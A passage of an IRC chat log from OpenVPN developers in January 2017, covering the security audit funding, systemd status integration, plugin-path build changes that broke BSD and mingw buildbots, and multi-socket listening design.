Quarklabs more generic software stuff ... more info: https://ostif.org/the-openvpn-fundraiser-has-hit-its-goal-work-on-the-audit-begins/ 13:54 <@dazo> "Now that we have the funds, we will contact QuarksLab and reserve a team of two senior researchers to conduct the audit. We have decided internally that because we already have a world-renowned cryptographer auditing the core crypto of OpenVPN (Dr Matthew Green), our team of researchers will focus on software vulnerabilities and exploit analysis. We think that these combinations of skills will lead to the best possible analysis of OpenVPN 13:54 <@dazo> as a whole." 13:54 <@syzzer> dazo: yeah, but since mattock just said "PIA decided to donate to OSTIF, so I believe OSTIF is fully handling the audit now" 13:55 <@dazo> yeah, that was probably just a too quick response:) 13:55 <@syzzer> yours or mattocks? :p 13:55 * syzzer confused 13:56 <@dazo> mattocks ;-) 13:56 <@dazo> or rather ... don't believe us ... believe the OSTIF update ;-) 14:16 < slypknot> dazo: sorry, I cannot test against windows domain .. but jiquera )#810) said: Is this something you want to debug further (I'm willing to keep trying). | perhaps a test binary can be temporarily hosted for testing ? 14:17 < slypknot> I amalso of the opinion that the "Openvpn Admin" group should be created during install not as a subsequent step .. 14:21 <@syzzer> slypknot: that last remark made me think of Cato's "Ceterum censeo Carthaginem esse delendam" :p 14:24 * slypknot is off to google that ! 14:28 < slypknot> syzzer: sounds about right (ignoring the obvious flame war) 14:29 <@syzzer> the "I am also of the opinion" triggered it, no flame intended ;) 14:30 < slypknot> I don't mean a flame war here .. I mean the one which appears to be raging regrding the translation ;) 14:30 <@syzzer> we have a Dutch politician who uses the strategy, which then a lot of comedians joke about, which triggers a smile 14:30 < slypknot> gotcha :D 14:30 <@syzzer> oh, right :p 14:31 <@syzzer> amazing that, "Let's fight about the right translation of language that's been dead for almost two millenia" :') 14:32 < slypknot> godda fight about something i guess ;) 15:19 < slypknot> Could somebody here add a comment to this please: https://forums.openvpn.net/viewtopic.php?f=4&t=23181 15:19 <@vpnHelper> Title: TLS Error: tls-crypt unwrapping failed from - OpenVPN Support Forum (at forums.openvpn.net) 15:33 < slypknot> Also, is Polar-SSL on the client likely to cause problems with openvpn-2.3.2 mipsel-unknown-linux-gnu [SSL (OpenSSL)] [LZO] [EPOLL] [eurephia] [MH] [IPv6] built on Jan 11 2015 : https://forums.openvpn.net/viewtopic.php?f=33&t=23279#p67402 15:33 <@vpnHelper> Title: Another another PolarSSL: ServerKeyExchange handshake failed error - OpenVPN Support Forum (at forums.openvpn.net) 15:52 <@cron2> syzzer: I'm not sure the patch will actually work :-) - if the client is 2.3, it won't send IV_NCP, and if it won't send an OCC string either, we might have already initialized the cipher at the point where a ccd-activated "cipher foo" would be read 15:52 <@cron2> but I need to re-think this more thoroughly 17:45 -!- mode/#openvpn-devel [+o d12fk] by ChanServ 18:39 <@dazo> This is priceless! https://www.youtube.com/watch?v=ELD2AwFN9Nc 18:40 <@dazo> oh ... well, no .... it is great! It is amazingly great! You can't even imagine how great it is, that's how great it is! 20:08 < ordex> lol @ the video 20:08 < ordex> :D 22:21 <@ecrist> heh 22:21 <@ecrist> egood morning, ordex 22:21 <@ecrist> s/e// 22:21 < ordex> morning ecrist :) 22:21 <@ecrist> ;) 22:21 < ordex> almost lunch time here actually :-P 22:22 <@ecrist> almost == $time < afternoon = morning 22:22 <@ecrist> :P 22:22 * ecrist poofs for a bit 22:23 < ordex> :D 22:37 * ecrist returns --- Day changed Wed Jan 25 2017 03:04 <@syzzer> cron2: hm, that could indeed be. I only tested against a 2.4 client. I'll retest later (don't know when, busy schedule :( ). 03:34 <@cron2> well, a 2.4 client would send IV_NCP=1, so we postpone cipher init... 03:47 < eworm> Is there a way to query connection state without management support? 03:47 <@ecrist> if you have the status file enabled, yes 03:47 <@ecrist> you can just read the file 03:48 < eworm> But there is nothing like connection state in that file 03:48 < eworm> Just a number of byte counts 03:49 <@ecrist> what do you mean? 03:49 <@ecrist> if there is an entry, they are connected 03:49 <@ecrist> if there is no entry, they are not connected 03:49 <@ecrist> pretty straight forward. 03:55 < eworm> the file including entries is there as soon as the openvpn process is running. 03:56 < eworm> That does not necessarily mean the VPN is connected. 03:57 <@cron2> not sure about client side - on the server side, if there is nothing (but headers) in, no clients are connected 03:57 < eworm> that's true 03:57 < eworm> but I am interested in the client side 03:58 < eworm> Can we extend that file? 04:13 <@plaisthos> hm 04:13 <@plaisthos> I think no one ever has needed that yet on the client 04:14 <@vpnHelper> RSS Update - tickets: #829: hdwwiz -> new tap adapter , doesn't work <https://community.openvpn.net/openvpn/ticket/829> 04:14 <@ecrist> what we used to do for links between sites is set up IGRP and have each site connect to each other. 04:14 <@ecrist> this gave us some redundancy 04:15 <@ecrist> Also, allowed us to create some mesh networks 04:15 <@ecrist> never needed to look at the status file, though. 04:22 <@dazo> eworm: any comments to the systemd patch I sent to the ML? .... I did that just to solve these particular bugs quickly, so we have time to dig into a better notification framework .... Selva Nair and I have discussed a bit a couple of weeks ago, and we're looking into how things are done in the management framework, to see how we can shape things together in a very non-intrusive way for the rest of the code 04:22 <@dazo> I haven't had time to summarize that discussion for you, though ... but I have wanted to do that 04:24 < eworm> dazo: Yes, I am following the discussions and bugs 04:24 < eworm> just added a comment in the bug tracker an hour ago 04:24 < eworm> I am pretty sure I will have users complaining :-p 04:25 < eworm> dazo: Can I query connection status without management interface? 04:25 <@dazo> eworm: :) .... here's the raw discussion I had with Selva ... https://paste.fedoraproject.org/536061/48533928/raw/ 04:26 <@dazo> eworm: hmmm ... no, not really. You have --log, --status and the management interface which reports the current situation 04:26 <@dazo> but --status on the client side probably won't give you much info 04:26 < eworm> the management interface allow to query state 04:26 < eworm> can we add that state to the client status file? 04:28 <@dazo> I don't have any aversions against doing that ... have you checked the different status version formats? --status have some way to choose between 3 different formats, I think the format which reports a header will be fine to adjust, by adding another field at the end 04:28 <@dazo> (I believe that is format version 3, iirc) 04:28 < eworm> then we can add a oneshot service that polls the connection state from status file and changes to state active when 'State,CONNECTED' is found 04:28 <@dazo> --status-version is the version switcher 04:29 <@dazo> eeh ... for the systemd units? 04:29 * dazo need to check the trac updates :) 04:29 < eworm> we add a oneshot systemd unit openvpn-online@.service that poll the service file 04:30 <@dazo> right! now I follow 04:31 < eworm> who depends on vpn connectivity makes his/her unit depend on that 04:32 <@dazo> I'm just concerned that using --status can make users complain as well :/ .... but it might be one of the more reasonable approaches 04:32 <@dazo> okay ... completely crazy wild idea ... just to seed our minds 04:33 <@dazo> What about to ship an openvpn-systemd plugin ... which we enforce usage of via --plugin on the command line. That plugin tracks the state and reports back through its own "channels", that be a socket, message queue, file, whatever 04:34 <@dazo> and then the -online@.service .... will just be some binaries with Type=oneshot, which queries that interface 04:35 <@dazo> the advantage here is that we don't take away any features and enforces them for the systemd integration (people can do all their crazy stuff as they did before) ... and we have a predictable way to get the openvpn situation 04:35 <@dazo> We might need to add one more plug-in hook into openvpn, which is called on status changes though 04:37 <@dazo> and another benefit of this is that we could probably take out all the sd_notify() stuff out of the core openvpn, utilize a more common internal messaging approach (already in discussion with Selva) ... and this could even work with --chroot, if the openvpn-systemd plugin forks out a child process upon init 04:41 <@dazo> ... 04:41 <@cron2> dazo: can you have multiple plugins active at the same time? 04:41 <@dazo> cron2: yes 04:41 <@cron2> cool 04:42 * cron2 has only ever used auth-pam plugin 04:42 <@cron2> a good internal messaging API and a openvpn-systemd plugin would silence my griping for good :-) 04:42 <@dazo> I thought so ;-) 04:43 <@dazo> and it provides an even better approach for others wanting to do similar stuff on other platforms 04:43 < eworm> https://gist.github.com/35728349a660586941bb38bc89096c48 04:43 <@vpnHelper> Title: quick-and-dirty.patch · GitHub (at gist.github.com) 04:43 < eworm> An untested quick & dirty hack... 04:43 < eworm> Having a plugin could be the perfect solution 04:44 < ordex> soon openvpn will just be a collection of plugins :D 04:45 <@dazo> hehe ... you've seen the OpenVPN 3 code, I presume, ordex ;-) 04:45 < ordex> :D 04:48 <@dazo> eworm: except of the "State" field needing to at the end of the list of the fields ... this could work indeed, at least as a quick-fix until the --plugin approach is done 04:49 <@dazo> eworm: I'd suggest sending a patch with the changes in sig.c to the mailing list first ... and see if that's accepted ... if so, then send the unit file updates 04:49 < eworm> Is there a better way to get the state? 04:50 <@dazo> hmmm ... you mean instead of (c->options.no_advance == true ? "CONNECTED" : "INITIALIZING") ? 04:50 < eworm> yes 04:50 <@dazo> I think there is .... but need to dig into the code 04:50 < eworm> management interface has a state in log histroy 04:51 < eworm> but that is not available 04:52 < eworm> dazo: there is no list of fields in client status file, no? 04:53 < eworm> it is just "key,value" 04:54 <@dazo> heh ... that status_printf() does some tricks where it will reformat it to a CSV kind if line as output 04:55 <@dazo> uhm ... I might be confusing this with the management interface 'status' command though 04:56 < eworm> the server status file has lines with fields 04:56 < eworm> for clients, routing entries, ... 04:57 <@dazo> nope ... management interface seems to reuse print_status() as well 04:58 <@dazo> I have to check what the client status file looks like ... but your patch will re-order the fields on the server side management interface for sure 05:00 <@dazo> the management interface has a command 'state' ... which returns what you'd like to see ... but I've only checked the server side currently 05:04 <@dazo> gee, this management implementation have the same complexity as the option parser .... 05:04 <@cron2> awwww 05:05 <@dazo> eworm: you want to have a look at man_state_name() 05:06 < eworm> already saw that, but it available only when management is enabled at compile time 05:07 <@dazo> I honestly don't see any reason why that single function couldn't be enabled with even management disabled at compile time 05:08 <@dazo> const int as input argument ... using OPENVPN_STATE* macros and returning a const char * .... nothing which implies it depends on the rest of the management code 05:08 < eworm> And I need the info from e->u.state, which is 'struct log_entry', filled by management_set_state() 05:09 <@dazo> ahh .... but ... doesn't --status already require management interface enabled? 05:10 <@dazo> considering it depends on print_status() 05:10 <@dazo> meh ... nope 05:10 < eworm> :-p 05:11 <@dazo> it begins to look like that the plug-in approach is simpler after all :-P 05:13 <@dazo> okay ... let's use your approach in the gist ... but I'd still move your additional "State" line to right before the "END" line 05:13 < eworm> with management enabled I could query the management interface directly 05:14 <@dazo> so, you're considering a #ifdef ENABLE_MANAGEMENT .... and then just add the "State" line if that is present? 05:15 < eworm> no 05:15 * cron2 has the feeling that we could do a 2.5 end of the year, which sports a much-improved plugin interface for status communication, plus two plugins for openvpn-systemd and openvpn-ubus 05:15 <@cron2> plus cleanups galore 05:16 < eworm> I could build with --enable-management, then have telnet whithin the loop in the unit file 05:16 <@cron2> (properly automated testing these plugins will be one of the bigger challenges) 05:29 <@dazo> eworm: that will not make users happy which already have --management in their own configuration files :/ 05:31 < eworm> ah, true... 07:45 <@vpnHelper> RSS Update - tickets: #830: Unicode characters in certificate break OpenVPN Connect <https://community.openvpn.net/openvpn/ticket/830> 07:53 <@dazo> eworm: I'm heading out for some food now ... but I will apply my patch cron2 ACKed on the mailing list earlier today when I come back again ... so if you want the Acked-By fame as well, please leave a note on the ML ;-) 08:44 < eworm> dazo: done ;) 09:06 < slypknot> dazo: i think i am right with this but your input is awlways welcome (or anybody else that wants): https://forums.openvpn.net/viewtopic.php?f=4&t=23181#p67478 09:06 <@vpnHelper> Title: OpenWRT LEDE - TLS Error: tls-crypt unwrapping failed from - OpenVPN Support Forum (at forums.openvpn.net) 09:11 <@dazo> slypknot: on a quick cursory glance, I think you're right in that response .... syzzer, would you care to have a quick look at the last post from TinCanTech in the forum URL ^^ ? 09:14 < slypknot> thanks :) 09:23 <@dazo> slypknot: btw ... your centos-7 buildslave .... is that configured to builds with --enable-systemd? 09:24 <@dazo> to *do builds 09:35 < ordex> d12fk: since I cannot apply your patch on master directly, I am trying to read the patch file itself and trying to understand the ratio behind - I am exploding 09:35 < ordex> :D 09:36 < ordex> d12fk: any on-liener explanation for the concept ? CM_SECONDARY_TOP is supposed to be used instead of CM_TOP ? 09:37 <@dazo> good you're in HK and most of us others in EU or US, ordex ... I mean as you're about to explode :-P 09:37 <@dazo> eworm: finally going to give your autotools patches a chance again ... looking reasonably good, just giving them some real testing locally first 09:38 < eworm> dazo: Thanks! 09:38 <@dazo> syzzer: perhaps we should rename README.polarssl ? 09:39 < eworm> dazo: Did you take a look at my other patches? 09:39 < ordex> dazo: xD 09:39 < eworm> At least the plugin directory thing is related to autotools as well. 09:39 <@dazo> eworm: ahh! that one, it is a bit further down the list .... but can give that one a shot today too 09:39 * eworm has to clean up his local branches... :-p 09:39 <@dazo> hehe :) 09:40 <@dazo> eworm: the last patches I recall right now is the messaging API stuff, which we've already discussed a bit today ... am I missing anything else? 09:41 < eworm> yes 09:41 < eworm> Clean up plugin path handling 09:42 < eworm> Sent the patch on Dec 27th. 09:42 * dazo digs into his mailbox again 09:43 <@dazo> Regarding "Clean up plugin path handling" .... that needs a fix for the /lib64 stuff .... 09:43 <@dazo> There's also the ProtectSystem/ProtectHome patches 09:43 < eworm> and we have "add more security feature for systemd units"... 09:43 < eworm> yes :D 09:43 < eworm> that needs some more discussion I think 09:44 <@dazo> :) 09:44 < eworm> What's the problem with /lib64? 09:44 < eworm> oh, I have to change the gitignore stuff there, too 09:44 <@dazo> your approach, if I recall my last testing correctly, ended up with /lib on my system where it should be /lib64 09:45 < eworm> there's no hard coded path in my patch... 09:46 < eworm> so wondering where this comes from 09:46 * eworm has Arch, which has /lib by default - with a symlink lib64 -> lib for compatibility with binary programs that rely on it 09:48 <@dazo> uhm .... good point ... let me have a look at the RPM .spec files and see what they do ... might be it is overridden there 09:48 <@dazo> or rather, most likely the %configure RPM macro which does that magic 09:53 <@dazo> ahh ... rpmbuild adds --libdir=/usr/lib64 to ./configure 09:54 < eworm> but my patch should handle that correctly, no? 09:55 <@dazo> I think so ... let me run some tests after the tmpfiles.d stuff 09:56 <@dazo> regarding the tmpfiles.d stuff .... should tmpfiles-openvpn.conf be a template (.in) ? where /run is a variable? 09:57 < eworm> I have not seen a system where /run is something different. 09:57 < eworm> Even systemd hard codes it at several places. 09:58 < eworm> Given this did not change lately. 09:58 <@dazo> /run has been the standard a long time, indeed ... but I have occationally seen /var/run (with systemd upstream screaming about it) 09:58 <@dazo> ahh, okay ... if systemd have this hard-coded a few places, then I'll take your word for it and let it pass :) 09:59 < eworm> /var/run exists as well but serves different purposes 10:00 < eworm> oh, my system has a symlink /var/run -> ../run 10:03 < eworm> looks like all Arch systems have that 10:07 < slypknot> dazo: centos7 bbslave + --enable-systemd .. is that not the build-master's decision ? checking the buil-* dirs there is NOT one that has --enable-systemd 10:07 < slypknot> but i do build locally with --enable-systemd for my usage 10:09 <@dazo> slypknot: to be honest, I've never dug much into how buildmaster/slaves agree on what and how to do builds 10:09 < slypknot> as far as I can tell the master decides what to execute but the slave must have required deps 10:11 < slypknot> its a slave .. do what you will with it .. but cron2 would be the goto guy i think ;) 10:13 <@cron2> the decision "what to build where, which flags" comes from the buildmaster 10:14 <@dazo> great .... mattock!!! ^^^^^ ;-) 10:15 <@dazo> mattock: you would want to add --enable-systemd on the Fedora buildslaves as well, unless that's present already 10:15 < eworm> dazo: just sent an updated patch for the plugin directory stuff with minor cosmetic fixes 10:16 < eworm> dazo: Anything more I can do? 10:16 < eworm> Will drive home otherwise 10:25 <@dazo> eworm: I think I'll have enough on my plate for today :) ... going to do a push soonish, which will add a few commits 10:27 < eworm> ok, will check that later 10:27 < eworm> see you and bye! 11:03 < ordex> https://ostif.org/the-openvpn-audit-begins-february-15th-2017/ 11:03 <@vpnHelper> Title: The OpenVPN Audit Begins February 15th 2017 OSTIF.org (at ostif.org) 11:07 <@dazo> \o/ 11:23 < ordex> :) 11:25 < ordex> d12fk: am I right or you patch allows only multi TCP sockets ? 11:27 < ordex> *your 11:36 < slypknot> out of curiosity, is there a reason to *not* complain about using BF-CBC in p2p mode ? 11:37 <@dazo> nope .... BF-CBC is fragile even in p2p mode .... and definitely if using static key mode, as there are no possibility to do session key renegotiations 11:38 <@dazo> all ciphers with block sizes (not key sizes!) less than 128 bits are fragile these days 11:39 < slypknot> ok .. 2.1.13 -> 2.5_git do not complain about BF-CBC in p2p more .. and there are two current forum posts which do not know this yet 11:39 < slypknot> mode* 11:39 < slypknot> i expect there are many more 11:40 < slypknot> in the wild 11:40 <@dazo> right .... syzzer ^^^ 11:41 < slypknot> should be a nice easy fix ;) 11:42 < slypknot> we could do 'bell' [ctrl-G is it?] as well :D 11:43 <@dazo> hehe ... poor guys scrolling through old log files! :-P 11:44 <@cron2> ordex: that's what d12fk said when you asked about the status 11:46 < ordex> cron2: thanks for the reminder .. I should have checked the irc log :p 12:14 <@d12fk> ordex: no. multiple of anything is the goal. no idea if mixed mode is working as i dont recall i have tested it so far. 12:14 < ordex> mh, yeah I remember that is the goal, but much of the TCP code is commented out 12:14 < ordex> maybe was still wip 12:14 < ordex> okydoky 12:14 < ordex> just wanted to be sure I am understanding what I am reading :) 12:15 <@d12fk> no i think it is not used anymore 12:15 <@d12fk> it is hard to understand. openvpn is a mess =) 12:16 < ordex> :D 12:16 < ordex> so you are saying that in theory this multicontexts thing should take care of both tcp and udp, rather than having two different codepath 12:16 < ordex> ? 12:16 <@d12fk> the idea of the secondary tops is that any secondary is one additional listen socket 12:18 < ordex> ok, that's why you have a collection of them 12:18 < ordex> and each of this might be TCP or UDP 12:18 <@d12fk> no the code path stay separate, only the dispatching (acceping in the tcp case) is now handled in multi.c so it can deal with multiple listen sockets 12:18 <@d12fk> yup 12:58 <@vpnHelper> RSS Update - gitrepo: systemd: Add more security feature for systemd units <https://github.com/OpenVPN/openvpn/commit/76096c605fcac4815674b6ae76ac1f31f03a8186> || systemd: Do not race on RuntimeDirectory <https://github.com/OpenVPN/openvpn/commit/3de7be7b17de879a78eea4afe4c918c6104c635d> || systemd: Use automake tools to install unit files <https://github.com/OpenVPN/openvpn/commit/ca5b4c2aad2370be7862660d274b7485f2d0af71> || syst 13:18 <@dazo> eworm: regarding begin "too intrusive" .... no worries, we're going to bitch about that anyhow ;-) 13:18 <@dazo> but ... I hope you're happy with a bunch of your patches getting applied today :) 13:18 < eworm> dazo: Yes, I am! :D 13:18 < eworm> Thanks a lot! 13:19 <@dazo> well, I'm just very sorry it's take a lot of time to get here 13:30 < eworm> no problem 13:31 < eworm> I would like to see this in the next release... other than that - no need to hurry 13:31 < eworm> dazo: the lz4 patch is in your queue? 13:33 <@dazo> yes ... 13:34 <@dazo> all the patches I've committed today will appear in v2.4.1 13:34 <@dazo> git shortlog v2.4.0..release/2.4 ..... should give you a hint ;-) 13:36 <@dazo> eworm: http://www.mail-archive.com/openvpn-devel@lists.sourceforge.net/msg13576.html ... it's here ... I'm awaiting a complete update of the lz4 library as well 13:36 <@vpnHelper> Title: [Openvpn-devel] [PATCH 0/2] LZ4 updates (at www.mail-archive.com) 13:37 <@dazo> oh ... I will update that one again ... lz4-1.7.5 have been released 13:48 < eworm> and here we go... new patch is on the way to your mailbox 13:51 <@dazo> nice! 13:52 <@dazo> eworm: you misunderstood me ... not plugin.h .... include/openvpn-plugin.h 13:53 <@dazo> src/openvpn/plugin.h, I mean 13:53 <@dazo> okay ... confusing 13:53 < eworm> ups... 13:53 <@dazo> eworm: you misunderstood me ... not src/openvpn/plugin.h .... include/openvpn-plugin.h 13:53 < eworm> let me check :-p 13:54 < eworm> makes sense... openvpn-plugin.h is the one installed to /usr/include/, right? 13:54 <@dazo> include/openvpn-plugin.h.in already exists ... so the change would be really minimal 13:54 <@dazo> ues 13:54 <@dazo> yes 13:54 < eworm> ah, really? 13:54 < eworm> even better 13:54 < eworm> I like small patches ;) 13:55 <@dazo> you wouldn't need to do any #include changes at all ... as openvpn-plugin.h is included in src/openvpn/plugin.h ... which is included by src/openvpn/plugin.c 13:55 <@dazo> well, the other clean-up stuff should be there ... that increases the patch somewhat (but reduces the overall code size) 14:03 < eworm> ah, we have an issue here... 14:03 < eworm> openvpn-plugin.h is generated by configure 14:04 < eworm> but configure is not aware of final plugin path 14:04 < eworm> that is evaluated by make 14:07 <@dazo> hmmmmmmm 14:09 < eworm> does make know about the version? 14:09 < eworm> we could let make generate the 14:09 < eworm> or we use a template for a template :-p 14:09 <@dazo> Agreed ... I think that makes sense, to be honest ... as the plugin path is truly valuable outside of the core openvpn source tree as well 14:10 <@dazo> heh ... oh dear, please no! 14:10 <@dazo> just a question .... does the location of AC_CONFIG_HEADERS([config.h include/openvpn-plugin.h]) matter? 14:11 <@dazo> what if that is split into two parts .... config.h at the current location and openvpn-plugin.h at the end, around the point where Makefiles are generated ... at that point, the plugin dir variable should be available 14:12 <@dazo> also considering we already do the t_client.sh generation at the end of configure.ac 14:13 * dazo need to go in about 15 minutes 14:17 < eworm> it does matter, but moving things down does not help 14:17 < eworm> you can give parameters to make that change the libdir 14:18 < eworm> so we need make to generate the file 14:20 < eworm> what is the _ovpn_chk_fmt thing about? 14:27 <@dazo> that is some GCC tweaks actually ... related to stdarg.h stuff we do (the plugin_vlog stuff) 14:28 <@dazo> this enables things to work as well as possible across MSVC as well as GNU GCC 14:28 <@dazo> IIRC, d12fk is the one who dug up this trick 14:36 < eworm> v5 is available 14:41 <@dazo> cool! I'll have a look very soon 15:22 <@dazo> eworm: enough is enough ... lets pull in v5 :) 15:22 * dazo pushes 15:27 <@dazo> About time to call it a day :) 15:28 < eworm> hey, great! 15:28 <@vpnHelper> RSS Update - gitrepo: Clean up plugin path handling <https://github.com/OpenVPN/openvpn/commit/4590c3831d0400096fab08aa1ed7f909da870ced> 15:28 < eworm> thanks! 15:51 <@cron2> huh, whatever you did, it blew up the BSD buildbots 15:51 <@cron2> plugin.h:68: error: expected specifier-qualifier-list before 'openvpn_plugin_open_v1' 15:52 < eworm> cron2: How does this code look? 15:52 <@cron2> as if I knew :) 15:53 < eworm> oh, the changes do not even touch plugin.h... 15:53 < eworm> that is with master? 15:53 <@cron2> the interesting bit is that the plugin patch doesn't touch plugin.h 15:53 <@cron2> right :) 15:57 <@cron2> there's the "HMODULE module;" struct declaration before line 68 15:59 <@cron2> well 15:59 <@cron2> plugin.h references the "openvpn_plugin_open_v1" defs from openvpn-plugin.h(.in) 15:59 <@cron2> so changes to "how is the openvpn-plugin.h built" can well have an effect... 16:00 <@cron2> mingw builds blow up as well... 16:00 <@cron2> make[3]: *** No rule to make target `openvpn-plugin.h.in', needed by `openvpn-plugin.h'. Stop. 16:01 <@cron2> oh 16:01 <@cron2> part of the BSDs explode in 16:01 <@cron2> Making all in include 16:01 <@cron2> Using $< in a non-suffix rule context is a GNUmake idiom (line 505 of Makefile) 16:01 <@cron2> *** Error code 1 16:01 < eworm> ah 16:01 < eworm> damn 16:02 < eworm> that's bmake? 16:02 <@cron2> (which might be the reason why the other ones explode as well, but not failing right away) 16:02 <@cron2> that's BSD's standard make, no idea whether it's available for linux 16:03 <@cron2> (and this, in particular, is why Linux is a platform not really suited for writing portable software - there's too much bash-and-GNU-extras that come in handy and will blow up on other systems...) 16:05 < eworm> yes... *sigh* 16:06 < eworm> https://gist.github.com/2b2199211a5d9948e7257826e6e0179c 16:06 <@vpnHelper> Title: - · GitHub (at gist.github.com) 16:06 < eworm> does that work? 16:06 <@cron2> linuxes are all green, macos is mostly green (but that's t_client fail), BSDs and Solaris all red... 16:07 <@cron2> let me give it a quick test 16:07 <@cron2> (need to go to beed...) 16:08 < eworm> build systems tend to explode all the time anyway... 16:08 * eworm too. :D 16:09 <@cron2> sed -e 's|\@PLUGINDIR\@|/usr/local/lib/openvpn/plugins|' -e 's|\@OPENVPN_VERSION_MAJOR\@|2|' -e 's|\@OPENVPN_VERSION_MINOR\@|5|' -e 's|\@OPENVPN_VERSION_PATCH\@|_git|' openvpn-plugin.h.in > openvpn-plugin.h.tmp && mv openvpn-plugin.h.tmp openvpn-plugin.h 16:09 <@cron2> sed: openvpn-plugin.h.in: No such file or directory 16:09 <@cron2> *** Error code 1 16:09 <@cron2> it fails for out-of-tree builds 16:09 <@cron2> for in-tree-builds it should work, but it needs to work for both 16:10 < eworm> hu? 16:10 < eworm> ah, you have a build directory outside the tree 16:10 <@cron2> "make" is working relative to "builddir/include/" - there is no openvpn-plugin.h.in in builddir/include, it's in $srcdir/include/ 16:11 <@cron2> $(srcdir)/openvpn-plugin.h.in 16:11 <@cron2> should work 16:12 <@cron2> not sure why the dependency isn't failing 16:12 <@cron2> maybe "make" is smart enough to actually figure out $(srcdir)/ for dependencies, but this is not in $@ expansion 16:14 <@cron2> to bed... eworm: if you mail me a ssh pub key and a fixed source IP (or subnet), I can give you access to the freebsd 10.3 buildbot VM to test yourself 16:14 <@cron2> tomorrow 16:14 <@cron2> "that zoo is there for a reason" :) 16:15 < eworm> cron2: Ok, thanks! ;) 16:15 < eworm> Good night! 16:27 < slypknot> Holy Carp .. buildbots have jumped off a cliff ! 17:34 < slypknot> syzzer: dazo: 25. *does* warn about block size < 128 in p2p mode 17:34 < slypknot> 2.5 21:42 < ordex> syzzer: http://www.burojansen.nl/bvd-aivd/dutch-secret-service-tries-to-recruit-tor-admin/ << in case you don't know about that 21:42 <@vpnHelper> Title: Buro Jansen & Janssen (at www.burojansen.nl) 22:09 < ordex> d12fk: btw, as I was discussing with dazo once, do you think is it really needed to add complexity for listening on multiple ports for the same protocol (i.e. TCP) when this can be easily achieved with a REDIRECT rule with iptables? that would avoid quite some complexity in the code, no ? what do you think ? 23:14 -!- vpnHelper [~vpnHelper@openvpn/bot/vpnHelper] has quit [Read error: Connection reset by peer] 23:15 -!- vpnHelper [~vpnHelper@openvpn/bot/vpnHelper] has joined #openvpn-devel 23:15 -!- mode/#openvpn-devel [+o vpnHelper] by ChanServ --- Day changed Thu Jan 26 2017 01:05 <@cron2> ordex: if you have udp+tcp, adding multi-tcp or multi-udp should be fairly trivial 01:05 <@cron2> ... and not all the world is linux, so REDIRECT is not universally available 01:06 < ordex> right 01:06 < ordex> sorry, I am always biased in that sense :) 01:06 <@cron2> on OpenBSD, you need two sockets to do IPv4 and IPv6... no dual-stack sockets there 01:07 < ordex> oh, so rightnow it is not possible to listen on both protocols ? 01:07 < ordex> (on OpenBSD) 01:07 <@cron2> no (as there is no multi-socket listen... :) ) 01:07 < ordex> I see ok :) 01:08 < ordex> so a generic multi-socket approach would benefit several OSes 01:08 <@cron2> yep 08:30 <@cron2> eworm: "chris" or "eworm" as user account? 08:31 < eworm> cron2: eworm please 08:34 <@plaisthos> I just a issue that "automatic updates" are mising from my app 08:35 <@plaisthos> and it turns otu the users wants automatic windows updates 08:35 <@cron2> uh, what? 08:52 <@cron2> so... kindergarden... 09:29 < eworm> cron2: https://github.com/eworm-de/openvpn/commit/b901836a5d9c3427144cb759196520bffa32b551.patch 09:29 < eworm> That one works for me. 09:29 < eworm> Any comments? 09:31 <@cron2> why are the new -I needed? 09:32 <@cron2> (phrased differently: where was openvpn-plugin.h built previously?) 09:32 <@cron2> mmmmh 09:33 < eworm> because the header file is created in build dir 09:33 * cron2 finds it in old build trees in $builddir/include/openvpn-plugin.h, and we never needed "-I" for that before... 09:33 < eworm> hmm 09:33 <@cron2> ffbsd100.ov$ find . -name "*plugin.h" 09:33 <@cron2> ./openvpn.git/src/openvpn/plugin.h 09:33 <@cron2> ./openvpn-master-freebsd103/include/openvpn-plugin.h 09:34 < eworm> it did not find the file otherwise 09:34 <@cron2> first is the git tree, second is the build dir... (that's an older build, few weeks ago) 09:34 <@cron2> src/openvpn/Makefile has 09:34 <@cron2> DEFAULT_INCLUDES = -I. -I$(srcdir) -I$(top_builddir) -I$(top_builddir)/include 09:35 <@cron2> oh indeed, that part got lost... 09:35 <@cron2> seems that "seemingly innocent" change here had side effects galore... 09:35 <@cron2> -AC_CONFIG_HEADERS([config.h include/openvpn-plugin.h]) 09:35 <@cron2> +AC_CONFIG_HEADERS([config.h]) 09:36 * cron2 feels we should revert that patch, and let configure do the substitution again, just ensuring proper variable setup... 09:37 <@cron2> so, keep the "Move the define to include/openvpn-plugin.h.in" part, but ensure that this is handled by autoconf substition, not by explicit makefile rules (which turn off all auto- in autoconf...) 09:38 < eworm> cron2: that does not work as expected 09:38 < eworm> damn, delete my old branches after the patch had been applied 09:38 <@cron2> well, what we have now certainly doesn't work as expected either :) 09:39 <@cron2> "it happens to work for in-tree builds on linux" is not what *I* would expect ;-) 09:47 < eworm> if configure handles the substitution we have: 09:47 < eworm> #define PLUGIN_LIBDIR "${libdir}/openvpn/plugins" 09:48 < eworm> That does not make sense in C code 09:48 < eworm> ${libdir} is evaluated by make 09:51 <@cron2> I'm sure we can get configure to evaluate that for us - it's shell code, so maybe configure.ac juszt needs a creative PLUGIN_LIBDIR=`eval $PLUGIN_LIBDIR` or so 09:51 <@cron2> modulo case, I never get when configure does something uppercase or lowercase 09:51 <@cron2> let me see... 09:52 < eworm> eval is avil :-p 09:52 <@cron2> you should not look at the generated configure shell script, then 09:54 < eworm> that argument wins :-D 09:54 <@cron2> ah 09:54 <@cron2> the old code had 09:54 <@cron2> plugindir="${with_plugindir}" 09:54 <@cron2> AC_SUBST([plugindir]) 09:54 <@cron2> so most likely that one would have been fine with 09:54 <@cron2> plugindir=`eval ${with_plugindir}` 09:55 <@cron2> maybe 09:55 <@cron2> plugindir="`eval ${with_plugindir}`" 09:55 < eworm> no 09:55 <@cron2> that's better 09:55 < eworm> next problem: libdir es set to "NONE" at configure runtime 09:55 < eworm> make sets libdir=$eprefix_whatever 09:57 <@cron2> configure runtime sets 09:57 <@cron2> libdir='${exec_prefix}/lib' 09:57 <@cron2> which could be eval 09:57 <@cron2> 'ed juzst fine 09:58 < eworm> is that common for all systems? 09:58 <@cron2> well, you can override it, with "configure --libdir=/my/lib/" 09:59 <@cron2> but that will just set $libdir, so "NONE" is not something I find convincing 10:00 <@cron2> actually... 10:00 <@cron2> + plugindir="\${libdir}/openvpn/plugins" 10:00 <@cron2> if you remove the "\" there, it will nicely eval $libdir on the go :-) 10:01 <@cron2> so the fact that AC_SUBST(plugindir) is putting "${libdir}" there is "because you've told it to" 10:01 <@cron2> (but if $libdir contains indirections itself, one round of eval is still needed) 10:01 < eworm> yes, to "NONE/openvpn/plugins" 10:02 <@cron2> might be a question of "when is 